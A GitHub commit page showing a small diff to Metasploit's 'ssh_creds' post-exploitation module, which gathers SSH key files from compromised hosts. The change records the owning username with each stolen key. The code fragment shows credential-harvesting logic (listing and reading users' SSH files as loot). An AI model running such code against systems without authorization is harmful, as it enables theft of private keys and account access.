Skip to content

Commit 0390baf

Browse files
dmaloney-r7dmaloney-r7
authored andcommitted
Merge pull request rapid7#1798 from dmaloney-r7/upstream-master
fix ssh_creds module
2 parents 8239998 + e406957 commit 0390baf

File tree

1 file changed

+4
-1
lines changed

1 file changed

+4
-1
lines changed

modules/post/multi/gather/ssh_creds.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,9 @@ def download_loot(paths)
5959
sep = "/"
6060
files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
6161
end
62-
62+
path_array = path.split(sep)
63+
path_array.pop
64+
user = path_array.pop
6365
files.each do |file|
6466
next if [".", ".."].include?(file)
6567
data = read_file("#{path}#{sep}#{file}")
@@ -77,6 +79,7 @@ def download_loot(paths)
7779
:host => session.session_host,
7880
:port => 22,
7981
:sname => 'ssh',
82+
:user => user,
8083
:pass => loot_path,
8184
:source_type => "exploit",
8285
:type => 'ssh_key',

0 commit comments

Comments
 (0)